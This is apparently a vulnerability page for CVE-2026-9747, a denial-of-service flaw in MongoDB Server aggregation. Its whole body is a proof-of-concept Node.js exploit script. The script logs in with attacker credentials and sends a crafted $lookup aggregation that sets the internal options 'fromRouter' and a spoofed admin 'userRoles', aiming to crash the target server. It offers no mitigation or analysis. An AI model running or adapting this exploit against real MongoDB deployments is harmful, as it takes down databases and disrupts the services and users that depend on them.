CVE-2026-9747 MongoDB Server聚合操作导致拒绝服务漏洞

// CVE-2026-9747 PoC - MongoDB Server DoS via Aggregation // This PoC demonstrates how to trigger the vulnerability // Setup MongoDB connection const { MongoClient } = require('mongodb'); async function exploitCVE20269747() { const uri = 'mongodb://target:27017/test'; const client = new MongoClient(uri, { auth: { user: 'attacker', password: 'password' } }); try { await client.connect(); const db = client.db('test'); const collection = db.collection('vulnerable_data'); // Malicious aggregation with fromRouter:true and runtimeConstants.userRoles const maliciousPipeline = [ { $match: { _id: 1 } }, { $lookup: { from: 'users', let: { userId: '$_id' }, pipeline: [ { $match: { $expr: { $eq: ['$$userId', '$_id'] } } } ], as: 'userData' }} ]; // Trigger the vulnerability with malicious parameters const result = await collection.aggregate(maliciousPipeline, { fromRouter: true, runtimeConstants: { userRoles: { role: 'admin', privileges: [] } } }).toArray(); console.log('Exploitation completed'); } catch (error) { console.log('Server crashed or error occurred:', error.message); } finally { await client.close(); } } exploitCVE20269747();